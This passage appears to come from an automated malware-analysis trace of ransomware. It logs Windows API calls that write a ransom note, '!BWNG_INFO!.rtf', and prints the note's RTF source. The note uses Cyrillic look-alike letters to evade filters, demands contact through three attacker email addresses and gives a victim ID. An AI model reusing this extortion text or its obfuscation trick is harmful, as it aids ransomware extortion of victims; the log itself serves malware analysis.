r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nd", lpUsedDefaultChar=0x0) returned 14086 [0041.091] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.092] CloseHandle (hObject=0x1c4) returned 1 [0041.092] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\!bwng_info!.rtf")) returned 0xffffffff [0041.092] GetLastError () returned 0x2 [0041.092] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 